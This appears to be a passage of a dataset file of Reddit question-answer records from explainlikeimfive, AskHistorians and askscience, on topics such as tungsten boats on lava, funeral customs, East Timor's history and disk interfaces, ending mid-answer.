{"q_id": "4km70k", "title": "would a boat made of tungsten float on lava?", "selftext": "Recently I just thought that if a boat were to be made of tungsten, or another metal that can't be melted by lava, would it float on lava?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4km70k/eli5_would_a_boat_made_of_tungsten_float_on_lava/", "answers": {"a_id": ["d3g0bp1", "d3g0ccy", "d3g3her", "d3ggwok", "d3ha8h4"], "score": [16, 3, 6, 2, 2], "text": ["Actually, it probably could. Metal boats are made in such a way that their average density seems lower than that of the metal simply because the hull is filled with air, reducing the density. The melting point of tungsten is also way above that of the normal temperature of lava, so yea.", "It would float on lava. It is possible that it would melt after a while depending on the temperature, but Tungsten would be the best element to make it out of.", "One thing to remember, though, is that while it may not melt, it will reach the same temperature as the lava (thermal equilibrium).", "*First* Lets look at the relative densities of materials used for boats. Density is weight per volume, measured in grams per cubic centimeter (g/cm\u00b3), and if A wants to float on B, A has to have a lower overall density. With wood on water this is easy, as the density of most kinds of wood is lower than that of water. When using a metal boat, the density of the metal itself is higher, but the air inside the hull counts towards the volume (but not really to the weight).\n\nI only use rough approximations for the densities as we don't know what kind of lava OP had in mind anyway.\n\nSteel boat on water: Steel has a density of ~8g/cm\u00b3, water 1g/cm\u00b3, so you have to displace eight units of water with one unit of steel. This is known to work.\n\nTungsten boat on lava: Tungsten is quite dense with ~20g/cm\u00b3, but lava is also denser than water with ~3g/cm\u00b3, so we have a ratio of about six to one. Building a tungsten boat to float on lava is actually a tad easier than building a steel boat for water.\n\n*Second* The temperature is something entirely different. While the melting point of tungsten is way higher even of that of ultramafic magma (~1800K/~1500C), you have to keep in mind that on the long run (or maybe even not so long), your boat will reach the temperature of the surrounding lava, which might be detrimental for anyone riding the boat.\n\n*TL;DR* Yes, it will float, but your shoes will melt anyway.", "...\n\nYes.\n\nBut before you run off to do it, and start selling 2$ tungsten lava rides, let me explain. The reason boats float on water is because they have a hollow compartment, that lowers the total density of the boat to where it can float on water, and carry a few people with it. However tungsten and other metals conduct heat quite efficiently. So aside from create a lava flotation device, you also create an all-natural superoven that'll burn anything it touches - be careful ;)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1dzo9x", "title": "what the hell is going on in pakistan?", "selftext": "My teacher briefly mentioned this, but couldn't continue because of time restrictions.  I want to know more!  I just wanted a timeline of the past five years or so....", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dzo9x/eli5what_the_hell_is_going_on_in_pakistan/", "answers": {"a_id": ["c9vdxeq", "c9vdxx6", "c9vfgky", "c9vibhc", "c9viioq", "c9vn30a"], "score": [10, 43, 16, 11, 6, 3], "text": ["What do you mean what is going on?\n\nAt the moment, elections.\n", "People have asked that question for over 50 years. No satisfactory answer seems forthcoming.", "Could you elaborate on what you want to know? I could give you the current timeline in a short summary off the top of my head.", "this is fantastically vague. ", "Elections season, the courts just ruled drones illegal (causing a bureaucratic battle), they were recently poking India and India was poking them back (people running over the border and killing each other), annd, thats all I got right now. ", "A this very moment. Elections on Saturday the 11th of May. Many people are supporting [Imran Khan](_URL_1_) and his party ['Pakistan Tehreek Insaaf' (Pakistan Movement for Justice)](_URL_0_) . Imran Khan is a former cricketer turned politician who won the Cricket world cup for Pakistan in 1992\n\n\nApart from that there are lots of Taliban Threats and general problems due to the poor governance of the country over the years.\n\n\nThe USA is also Bombing the tribal areas with Drones, which has been causing a stir for quite some time as firstly it is a direct attack on the sovereignty of any nation. Secondly it kills a lot of innocent civillians."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Pakistan_Tehreek-e-Insaf", "http://en.wikipedia.org/wiki/Imran_Khan"]]}
{"q_id": "77h18v", "title": "How true is it that British soldiers were \"Lions led by donkeys\"?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/77h18v/how_true_is_it_that_british_soldiers_were_lions/", "answers": {"a_id": ["doltqzc"], "score": [3], "text": ["Hello there. Your question seems to be related to school work, so we just want to remind you, and any potential respondents, that [our rules](_URL_2_) DO permit people to ask for help with their homework, so long as they are seeking clarification or resources, rather than the answer itself. This policy is further explained in this [META Thread](_URL_1_).\n\nAdditionally, while our users may be able to help you out here, we hope that you also will take the time to check out our six-part series, \"[Finding and Understanding Sources](_URL_0_)\", which should hopefully prove to be helpful for you as you continue in your research."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/theory#wiki_monday_methods.3A_finding_and_understanding_sources", "http://www.reddit.com/r/AskHistorians/comments/35pkem/askhistorians_homework_question_policy_rehash/", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_homework"]]}
{"q_id": "1lppfo", "title": "Is there any compilation on what the most powerful country/civilization was at every specific point in history?", "selftext": "For example, an incomplete timeline might be\n\n1950s-present USA\n1800s-1950s GB\n...\n200BC-1000AD Rome\netc.\n\nCan someone create a timeline all the way to the beginning of recorded history? Maybe adding a second place position like the USSR or something would be interesting as well.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1lppfo/is_there_any_compilation_on_what_the_most/", "answers": {"a_id": ["cc1rpw8", "cc1t6w6"], "score": [17, 12], "text": ["The major difficulty with questions like this is what we mean by those terms -- what is a country, what is a civilization, what is meant by power? For example, the Mongols conquered large parts of Asia and Europe beginning in the 13th century, but was that a nation? Or civilization? How would you rank its power relative to the rest of the world? Is military power the only thing that matters, or is culture and \"soft\" power also something that matters?\n\nEfforts to create timelines/lists like that suffer both from inadequate knowledge of the past and a lack of agreement on what would be counted as \"power.\" It's not like in Civilization when you just add up every state's area, armies, wonders and culture. ", "Please people, stop linking to that 1931 'histomap' monstrosity. This isnt /r/badhistory, we don't accept misinformation and eurocentrism as an answer.\n\nNo, it is not possible to make a map of the most powerful countries from 200 bc to now based on OP's requirements, because we have not defined by what standard we measure 'power' between 'countries/civilizations' (what does that even mean?)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7rzrh7", "title": "why does cheese make you constipated?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7rzrh7/eli5_why_does_cheese_make_you_constipated/", "answers": {"a_id": ["dt0t8yr"], "score": [14], "text": ["So at least one study actually suggests that it doesn\u2019t. \n\nMykkanen et al in The Scandinavian Journal of Gastroenterology (1993) found that \u201c the results of the present study do not support the practice that cheese should be avoided as a means of preventing constipation\u201d. \n\nGo figure. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ng92z", "title": "what's the difference between normal rice and \"minute\" rice?", "selftext": "Particularly the physical properties of each and how those differences affect the chemical process during preparation.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ng92z/eli5_whats_the_difference_between_normal_rice_and/", "answers": {"a_id": ["cvnt2u8", "cvnu5kj", "cvnvo02"], "score": [69, 54, 9], "text": ["My understanding is that Minute Rice is pre-cooked.  Therefore you only need to cook the last minute, or five minutes I believe.  Otherwise it's supposed to be the same as regular rice.", "Dry rice does not let water penetrate to the inside very well. So while cooking, you're waiting for the water to slowly make its way to the inside, so the grains become soft enough to eat them.\n\nInstant rice cooked in a way that cracks the surface, and then dehydrated. When cooking it again, the grains suck up water like a sponge, so the inside can be cooked immediately.", "To piggyback off of your question....is instant rice any worse for you? Like eating processed white bread vs eating homemade whole grain bread? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3pdaci", "title": "in instances of large crowds at sporting events, how are all those individual voices amplified to near-deafening levels?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3pdaci/eli5_in_instances_of_large_crowds_at_sporting/", "answers": {"a_id": ["cw5chx6", "cw5eb9g", "cw5lg6x"], "score": [27, 37, 7], "text": ["What I find more intriguing is when the manager is stood on the sideline shouting instructions. How the hell do the players differentiate their voice from the 1000s of people shouting about 10ft behind them.\n\nEDIT: Spellling", "Constructive interference. When a group of people are all talking/yelling at once. The frequencies at which their voices overlap will be louder due to the sound waves interfering with each other, increasing the amplitude (volume) where the frequencies match, and decreasing the amplitude where they do not match. To a listener, without focusing on a specific voice, all they would hear is a noisy mess. This is exacerbated in a stadium because of the sheer number of people and the construction of the building caused a lot of reflection/reverberation.", "Fun fact: In 1988, LSU's Death Valley was so loud it registered as an earthquake on a seismograph that was in a building about 1,000 feet from the stadium."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "66ytvg", "title": "why does every car have remote central locking but homes do not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/66ytvg/eli5_why_does_every_car_have_remote_central/", "answers": {"a_id": ["dgmbalh", "dgmbvz2", "dgmpgym"], "score": [10, 31, 3], "text": ["There is very rarely a need for a non-keyholder to get inside your house, so it only makes sense to keep the doors permanently locked. Likewise, the situations where you would benefit from unlocking all doors in your house are vanishingly rare, so why would you pay a lot of money for that functionality?\n\nIn comparison, people get in and out of cars constantly, commonly without owning said car. Keeping the doors unlocked is convenient, as is having the ability of locking them down at once.", "You can get remote locking door locks for your home. But in general they are harder to get power to. Most exterior facing home doors are solid and hard to fish power wires to. The \"wifi\" and digital combo locks you see are all battery powered so you need to remember to change those batteries. I used to live at a place with a fancy electric lock but I never used it since it was always out of power and I didn't feel like it was worth it to change the battery.\n\nOn the other side car doors have tons of holes to fish wires through. The battery recharges every time you drive it so you don't have to worry about power. It is smaller so less wires to run around. In addition wanting to unlock all doors at once is nice.", "Cars are federally mandated to lock the doors once you start driving as a safety feature in many countries. This means cars already have all the gear to electrically lock all the doors. The cost of this gear is baked into the base price already.\n\nAdding a radio and key fob to let you do it from outside is a minimal additional expense, and a perceived high value addition.\n\nHomes have no such mandate. You can get it setup, but you will be paying for every bit of it, explicitly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "18tn1r", "title": "implosions", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18tn1r/eli5_implosions/", "answers": {"a_id": ["c8hura3"], "score": [24], "text": ["An explosion is when something is under very high pressure - so high that whatever is trying to contain it, can't contain it any more. Imagine a sealed drinking cup with a straw. When you blow into the straw, you increase the pressure in the cup. Eventually, the cup will explode - it won't be able to hold its contents, and they will be thrown out under pressure.\n\nAn implosion is exactly the opposite. It's when something is experiencing very low pressure, so low that its container can't keep the outside stuff out any more. Imagine the same sealed drinking cup, but this time you suck on the straw. Eventually, the cup will implode - it will crumple as the air outside the cup tries to fill the space you emptied by sucking on the straw.\n\nWith your drinking cup, neither the explosion nor the implosion is particularly spectacular. But depending how much pressure you add or take away from a container, you can get some very spectacular explosions, and some very spectacular implosions too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5wtdi2", "title": "Is there any culture (current or past) that doesn't honor their dead?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5wtdi2/is_there_any_culture_current_or_past_that_doesnt/", "answers": {"a_id": ["deczxsz", "ded4bk6", "ded8192", "ded81ry", "ded99g7", "ded9dmw", "ded9mfh", "dedcnb9", "dedcwps", "dedehvz", "dedeotq", "dederbv", "dedex1i", "dedgcqo", "dedjrvi", "dedk8t7", "dedk9e4", "dedqczg", "dedqzyp", "dedwn1b", "dedyecq", "dee04pu", "dee0ibq", "dee6zpg", "dee8xf2"], "score": [1344, 305, 593, 79, 3043, 476, 15, 58, 26, 22, 5, 18, 26, 3, 8, 5, 6, 8, 8, 10, 31, 3, 16, 5, 2], "text": ["You can also try /r/askanthropology. This is a fascinating question! There's a lot of theorists, most prominently Ernest Becker in my field, who sees civilization primarily as a way of dealing with the terror of death.", "I seem to recall Zoroastrians leaving their dead out in these big amphitheater type of things, to be eaten by wild animals. Depending on your definition of \"honor their dead\" this may still qualify. I think they perceived death as just another thing that happens, and they were more disposing of bodies in a way that made sense to them. But they didn't cremate their dead or bury/entomb them.\n", "I remember reading about a South American tribe of native people that would pack up and move whole communities when some one died. They would leave the body where it was and just.... Leave. I can't remember for sure though but I remember thinking this would be a great idea for a culture that was probably susceptible to disease, as one might be in such a warm and wet environment.", "In some South Indian Hindu cultures (Saivism, for example), bodies of dead people are disposed off according to their level of spiritual awareness. \n\nBodies of ordinary persons are cremated while those of spiritually advanced persons are buried.", "It doesn't answer your question as you're looking for exceptions, but ceremonial burial has been found as far back as Neanderthals nearly 300,000 years ago. The difficulty with your question is that it's much easier to find bodies that were buried in a particular way or with some sort of ceremony or meaning because those civilizations or pre-civilizations that *didn't* perform some sort of special funerary rites would have left very little evidence that they *didn't* do anything special with their dead.", "Spartan society didn't make much of a fuss about death, unless you were a man dying in battle, a king or a woman dying in childbirth you were not given a marked grave. All aspects of their culture geared them to never fear death, so it wasn't ever seen as a big deal.", "Do you mean honor the decedent's spirit or their body? I believe many Buddhists honor the ancestors, but believe that a body, once a person has died, is nothing but an empty shell. \n\nI read about that in relation to Tibetan Sky funerals, which, if you're taking about body disposal and honor, might interest you. \n\n_URL_0_", "There is an anthropology study someone did titled \"Death without Weeping\".  It was about infant deaths in South America.  There was such a high mortality rate (at some point), so mothers would essentially not even react to the death of a child.  Not sure if this answers your question, but I thought it was relevant.  ", "I've been reading accounts of pioneers on the overland (Oregon) trail. They didn't usually stop for funerals. One woman's account recalls being upset that they didn't have time to bury the dead, but would just pile rocks on them. It was a regular occurrence to have wild animals digging up the bodies before they were out of sight. ", "It is an evolutionary imperative to have some sort of way of dealing with human corpses. Necrotoxins released by decaying bodies are extremely bad for living humans. Any culture that does not properly dispose of its dead will suffer physically, above and beyond any psychological or aesthetic problems their neglect may cause.", "I don't know if this fits what you're looking for: The Czech Republic, from what I remember, has a strong atheist culture, and while they still bury the dead there and have graveyards, they also had no problem when an artist dug up hundreds of skeletons to create the bone chapel in Kutna Hora. I think a majority of people there believe that once you're dead, you're dead, and that's it.", "Even if they didn't necessarily \"honour\" their dead, they probably at least mourned them.\n\nThere have even been many instances where social animals such as dogs, monkeys or whales showed evidence of mourning the death of a member of their group. ", "Cannabalistic societies did exist. Mostly where there weren't animals to domesticate for food. Aztec human sacrifice victims were not really honored just put in a big pile. Headhunting tribes were a little disrespectful.  ", "In the pacific north west and BC, it wasn't uncommon for some of the First Nations to place bodies in middens, which are basically trash dumps.  I don't know enough to say if they honoured those people or not.  They still could have had funeral rites for those people. There were also really elaborate burials in the area.  It could have just been how they buried their slaves or criminals.", "Ik People. In a sort of cruel-appearing survival-of-the-fittest, the elders are driven away from the group when that person's productivity drops. Also seemingly cruel, children aged 5 to 12 or so are repelled from the family hut to live in unsupervised child groups who are left to survive on their own wiles... until they reach productive age.", "Check out Julian Jaynes theory of Bicameralism. His idea is ancients heard halucinated voices from their ancestors after death, which lead to this behaviour in all cultures. It's massively more complicated than that, but that's the gist. Fascinating theory.", "I know I saw something a few months ago about a culture that believe overly grieving for a person prevents their spirit from moving on. Because of this, they actually avoided talking or thinking about the deceased person as much as possible. When I can get to a computer I'll try and find this video I watched or an article or something. I think that the culture was one of the Native American cultures, but I'm not completely sure. ", "Iirc in central asia, some nomadic tribe would bury their dead far from their camps, so the spirit of the deceased wouldn't find it's way back as everyone turn evil after death.\n\nNo real honoring parts since a dead body is then dangerous.\n", "Its kinda of a paradox. Because a culture based around leaving the dead alone could be seen as honorary.  The practice of disregarding the dead completely would still be considered a ceremony on its own and giving any regaurd to the dead in that sense would break that culture practice, which in turn is concidered dishonorable to that culture.", "Great question! I haven't seen it come up as an answer yet, so I hope I'm providing new information here. \n\nThere is indeed a peculiar tribe in the Amazon that is known for its almost total lack of rituals or traditions. \n\nThis is the only source I could find real quick on the Pirahas and [burials.](_URL_1_)\n\n\nWith that said, I'll give my two-cents on them and hope that someone here can back me up. \n\nThroughout the 70s and 80s, a Christian missionary was assigned to the Pirahas to (1) convert them to Christianity, and (2) learn their language and culture. \n\nHe wasn't successful with (1) BECAUSE of (2). During his time with the Pirahas, he came to the conclusion that they are a people without rituals, gods, myths, and therefore could not be converted.\n\nI'd highly recommend his book if you're looking for something about peoples with \"non-cultures.\" It has the perfect mix of linguistics, anthropology and personal accounts of his time with the Pirahas.\n\n[Don't Sleep, There Are Snakes](_URL_0_)", "My people (Australian Aboriginal people) you don't say the deceased name, and destroy all of their possessions. It's such a cultural taboo for some of us that there is even warnings put at the start of some TV shows stating that there may be voices and images of deceased people. ", "In the very earliest days of ancient Egypt they would dump bodies in the desert.  It is from finding them later on that they developed the idea of mummification.\n \nMy guess is that in these early years they just dumped them there to avoid fouling up the good farmland by the Nile.  There was probably not much ritual too it.", "The Hadzabe of Africa are known to not honor the dead.\n\nFrom a National Geographic article \"Even when one of their own dies, there is not a lot of fuss. They dig a hole and place the body inside. A generation ago, they didn't even do that\u2014they simply left a body out on the ground to be eaten by hyenas. There is still no Hadza grave marker. There is no funeral. There's no service at all, of any sort. This could be a person they had lived with their entire life. Yet they just toss a few dry twigs on top of the grave. And they walk away.\u2002\"", "It depends on what you mean by \"honoring\" the dead. There are certain cultures where the actual body ceases to possess a particular amount of value and is, in some cases, problematically impure. There are/were several cultures that practiced \"sky burial\" which essentially amounts to taking the body to a designated place where it becomes food for carrion birds. In some cases this is done as a matter of ceremony, but in others (like various remote Himalayan cultures) the ground is too hard or frozen to dig very deep while timber is in short supply, so it becomes the best way of disposing of a body. ", "I'll leave a link here to [Tibetan Sky Burial](_URL_0_) (graphic). They basically feed the corpses of thier dead to vultures. They slice open the meatier parts of the body to make it easier. After the bones have been picked clean a bit, they crush the skulls and bones into smaller pieces to make them easier for the birds to eat. It should be noted that they believe the vultures to be representative of angels carrying thier deceased into the next life and that by feeding them deceased human flesh they are doing good because it means fewer prey animals will have to die in order for the vultures to live. So perhaps this still counts as 'honoring' the dead, but they certainly have no special regard for the preservation of corpses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.atlasobscura.com/articles/sky-burial"], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.amazon.com/Dont-Sleep-There-Are-Snakes/dp/0307386120", "https://books.google.de/books?id=EoXbmMb6rVYC&amp;pg=PT573&amp;lpg=PT573&amp;dq=piraha+death+ritual&amp;source=bl&amp;ots=VJPbeikYhv&amp;sig=R8u-Mt6Nr8qF_IS9DninokEfhkk&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjrkK_Sn7bSAhXMPRQKHVYsDMEQ6AEILjAE#v=onepage&amp;q=piraha%20death%20ritual&amp;f=false"], [], [], [], [], ["https://youtu.be/rz2fqjCv2FQ"]]}
{"q_id": "okemm", "title": "Books about the presidents that served under the Articles of Confederation?", "selftext": "Hey,  I was wondering if anyone knew of any books that deal specifically with the presidents who served under the Articles of Confederation?  I was talking to a guy last week, and realized that I know next to nothing about them.  I've looked around on the internet, but can't find anything dealing specifically about them.  Could someone point me in the right direction?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/okemm/books_about_the_presidents_that_served_under_the/", "answers": {"a_id": ["c3hz08k"], "score": [8], "text": ["There was no real \"President\" under the articles, there was only a congress.  The Presidency was a completely new concept created by the Constitution.  The congress had various presiding chairs, but there was no one person who was given any real power in the post Revolutionary period. This was actually one of the reasons that the articles failed- they had no provisions to enforce the actions of Congress.  If you're looking for more information on them, I would suggest the best place to start is just read the articles themselves, and maybe some journal articles that deal with them.  I'll try to look for some, we studied them briefly on a Congressional class I had for political science.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5tc1j6", "title": "why can't older gpus run newer versions of directx or opengl?", "selftext": "If DirectX and OpenGL commands are just code, what is preventing the GPU from understanding newer versions of DirectX and OpenGL?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5tc1j6/eli5_why_cant_older_gpus_run_newer_versions_of/", "answers": {"a_id": ["ddlpngb"], "score": [2], "text": ["Newer versions of OpenGL and DirectX change how the program talks to the hardware and also adds new functions the hardware must support.  Older hardware can't understand these new formats and lack the hardware functionality programs written for the newer standards expect.\n\nIn theory you could have the driver cover up these changes by emulating in software all the new functionality that isn't supported in hardware but this is tremendously difficult and extremely slow.\n\ne: ELI5 version:\n\nImagine you have a stand mixer.  Any recipe that requires basic mixing is fine.\n\nThe newer model of the same mixer comes with a dough attachment.  New recipes can opt to use this to make the process easier, but your old mixer doesn't have it and can't use it.  If you want to use that recipe you have to replicate the dough-making process *exactly* using a mixer that was never meant to knead dough.  Even if you could do it all the timing in the recipe is thrown off because it assumed you could knead dough much faster than you actually can on the old mixer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9xclzw", "title": "how do sports announcers pull random factoids during live coverage?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xclzw/eli5_how_do_sports_announcers_pull_random/", "answers": {"a_id": ["e9r6fu6", "e9r6g8v", "e9r6k2h", "e9rl86s"], "score": [8, 3, 5, 3], "text": ["There are an orgy of supporting personnel that prepare these factoids for the commentators. ", "They have an earpiece with a live feed playing in their ears. They are fed information continuously.", "They have a team of producers and statisticians that have done their research beforehand. They can relay the message to them through their headset during the game. The announcers also do their own research before the game.. the good ones at least. So basically, a team tells them through their headsets.", "Besides stuff prepared by the TV crew (Fox Sports, YES Network, whoever's carrying your game), feeds from Elias Sports, etc, the teams themselves release press packets with lots of stuff in it.\n\nForgive me if you're not a Yankees fan, but you can get theirs online (probably other teams' too if you poke around). Here's a link for the Yankees: _URL_0_\n(change the month pulldown to be in season and you'll see them)\n\nIf you read it in advance sometimes you can notice the game announcers reading right from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://newyork.yankees.mlb.com/mlb/presspass/gamenotes.jsp?c_id=nyy"]]}
{"q_id": "1mfgdy", "title": "why are they trying to right and salvage the costa concordia?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mfgdy/eli5_why_are_they_trying_to_right_and_salvage_the/", "answers": {"a_id": ["cc8paco", "cc8pgg8", "cc8qe2t"], "score": [2, 2, 4], "text": ["They can't chop it up there due to where it is. That particular spot is a huge tourist destination due to it being a great place to see different animals, scuba diving, and coral. Chopping it up would expose those animals to large amounts of debris and plus, according to 60M, it still has to be hauled out. Twice as expensive.", "There are still two unaccounted for victims. It would be incredibly rude to the families of those victims if they were to use explosives to dismantle the ship when there deceased family members are still somewhere inside or under the ship. Passengers belongings are still on the ship as well. When they can they are going to go through those belongings and return whatever they can to all of those passengers. The ship also has vast amounts of food and oil still contained within the ship. Refigerators and freezers filled with rotted food have remained sealed aboard the ship and if somehow they were to be opened and not contained it would be toxic to the sealife. I would not want to be around when they open up those fridges full of food that have been turned off for over a year.", "Besides the fact that it is sitting on protected ocean life, that part of the sea turns into a mess in the fall. If you have seen pictures, it is already sitting in an unstable position on a shelf-like area. When autumn comes around over there, the waves will hammer the Costa Concordia making a rather large mess all over the protected area, potentially even breaking it apart. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8gpdsp", "title": "how did east timor come to exist?", "selftext": "I only learned about this country this week and I have so many questions.  It gained independence in 1975 which is super recently.  Out of all of Indonesia, why this particular island? And why only the Eastern half??? Do they have border checks if you want to go to the western half? Why didn't the western half want independence too?\n\n\nAnd apparently 100,000 people died during the Indonesian occupation, which is insane.  Why did this happen? Why fight someone from your own country when they just got rid of outside influence from a colonial power?\n\n\nI assume, like similar countries, that the last 50 years of history have been dictated by hundreds of years of Colonialism and shitty rulers. I was hoping someone could give me a simplified run down.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8gpdsp/eli5_how_did_east_timor_come_to_exist/", "answers": {"a_id": ["dydjo0w"], "score": [9], "text": ["You assume right.\n\nThe (whole) island of Timor was first conquered and administered by Portuguese colonialists, from the 16th century onwards. They set up both commercial outposts and catholic missions.\n\nFrom the 17th century onwards, the Dutch came over and conquered nearly all of Indonesia, including Western Timor. However, they faced resistance from the Portuguese, and [Topasses](_URL_1_) - native Timorians of Portuguese descent -, and Eastern Timor remained under Portuguese administration.\n\nFast forward real quick to 1975. Portugal has just gotten rid of its dictatorship following a revolution, and its government decided to disengage from its remaining colonies in Asia. Independentists in Timor unilaterally declared independence, virtually unopposed **by the Portuguese Government**\n\nHowever, Indonesia attacked, occupied and annexed East Timor right off the bat, in 1976. Note that East Timor's government was left-leaning, and with the Cold War and all, the US  &  co. favored Indonesia in this war. :)\n\nIndonesian occupation was nightmarish from a Human Rights point of view, you got that right.\n\nUN mediation finally led to a solution to the crisis, and eventually East Timor became independent in 2002.\n\n[Here](_URL_0_) is a recap I found on Google Books.\n\n\nTLDR : Shitty colonialism + shitty neighbour.\n\n**Disclaimer** - I'm no historian, nor remotely Timorese (?) - I just have too much time on my hands. Feel free to correct me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.fr/books?id=pCiNqFj3MQsC&amp;lpg=PP1&amp;dq=Encyclopedia%20of%20the%20Peoples%20of%20Asia%20and%20Oceania&amp;hl=fr&amp;pg=PA198", "https://en.wikipedia.org/wiki/Topasses"]]}
{"q_id": "438agx", "title": "If I flip a coin. Tails I stop and heads I flip again. What will be the average coin flip before I stop?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/438agx/if_i_flip_a_coin_tails_i_stop_and_heads_i_flip/", "answers": {"a_id": ["czg9zxg", "czgaxuj"], "score": [160, 10], "text": ["The number of Bernoulli trials performed until a success occurs follows the so-called *geometric distribution*. If the success probability is *p*, then the expected number of trials required for the first success is just 1/*p*. In other words, on average you will flip the coin twice.\n\n**edit:** That's boring though. What if you flip until you get tails followed by heads (TH)? Not surprisingly, it takes, on average, 4 flips to get TH. Now what if you flip until you get two tails in a row (TT)? Turns out that it takes, on average, 6 flips to get TT. Kind of makes you question your intuition on the 4 flips for TH, right?", "If you want the difficult way:\n\nSum(n p(n) ) over n=1 to infinity, where p(n) is the probability that ~~n throws you still have NOT gotten a tails~~ you get exactly one tail on the n-th throw and not before. This means that up till n all throws had to be heads and tails on the last one which is just p(n)=(1/2)^(n-1).(1/2)=(1/2^(n)\n\nThis sum is then SUM( n / 2^(n) ) = 2.\n\nEdit: small mistake pointed out by comment below, corrected it.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fns4q9", "title": "can we actually pause the economy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fns4q9/eli5_can_we_actually_pause_the_economy/", "answers": {"a_id": ["flb830l", "flb85hv", "flb9qb1"], "score": [3, 2, 2], "text": ["There are no legal mechanisms for the dismantling of the economy. Employees will not work without being paid, therefore requiring parts of the economy to continue functioning. The economy is interconnected in very intricate ways, and therefore a \"shutdown\" would leave many exemptions: for example, pharmacies require pharmacists, suppliers and distributors, manufactures, importers, and in addition ancillary industries like payroll, shipping and logistics, each of the ancillary industries themselves requiring other ancillary industries to function.", "Some of the things you're talking about pausing can't actually be paused. Someone living in a house is still consuming housing services. Others are private contracts between individuals, and \"pausing\" them would tend to benefit one party and hurt the other. It would be a huge undertaking for the government to step into each of those contracts and impose a pause on them. Especially if the harmed parties didn't have recourse to the courts, we'd start to be talking about some true iron-fisted dictatorship stuff.", "But I want to get paid for the work I'm doing. I don't think you could pause the economy and not pause pay"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "151wcq", "title": "sata, pata, scsi, sas... are these different types of hard disk drives, or buses, or interfaces, or just industry standards... i'm so confused!", "selftext": "Ok... I'm very new to storage and computer architecture.  Unfortunately when I began researching things like SATA, SAS, SCSI, etc.  I seem to find very different explanations of what exactly they are...\n\n\nexample...\n\nhere's an apple website that refers to SATA, SAS, PATA, and SCSI as different types of hard disk drives\n_URL_2_\n\n\nyet here's wiki which defines SATA as a computer bus interface.\n_URL_0_\n\nOn the other hand, wiki also explains things like PATA and SCSI as just industry interface standard\n_URL_1_\n_URL_3_\nwhich to me means they are just standards for connecting components etc\n\n\nA hard disk drive is a very different thing from a bus or an interface or an industry standard, yet all these things seem to be used interchangeably when I read up about this stuff. \n\n\nEven more confusing when someone refers to SATA, SCSI, etc. as hard disk drives - there's things like SAS SSDs (solid state devices).  I thought the whole point of an SSD is that there's no \"disk\" involved!  So how on earth is it a hard disk at all?\n\n\nI'm so confused as to what these things actually are so I feel like I can't learn anything about them!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/151wcq/eli5_sata_pata_scsi_sas_are_these_different_types/", "answers": {"a_id": ["c7iia7t", "c7iizhp", "c7ijdys", "c7imdvg"], "score": [3, 6, 3, 2], "text": [" >   So how on earth is it a hard disk at all?\n\nThink of \"hard disk\" as \"TV\". A CRT and an LCD are both types of TV, even though they're completely different technologies. The names \"TV\" and \"hard disk\" refer to their function -- displaying video, and storing large quantities of files -- regardless of the underlying mechanisms.\n\nSATA, PATA, SCSI, etc refer to the way the hard disk communicates with the motherboard. The hard disk technology is exactly the same, the only thing that's different is the way the information is transmitted to the rest of the system. \n\nWe say \"a SATA hard disk\" when we mean \"a hard disk that uses a SATA connection to communicate with the motherboard.\" Do you know anything about TV equipment? If so, imagine that DVD players only have space on them for one single output. It would make sense to say \"this is a HDMI DVD player, that one's 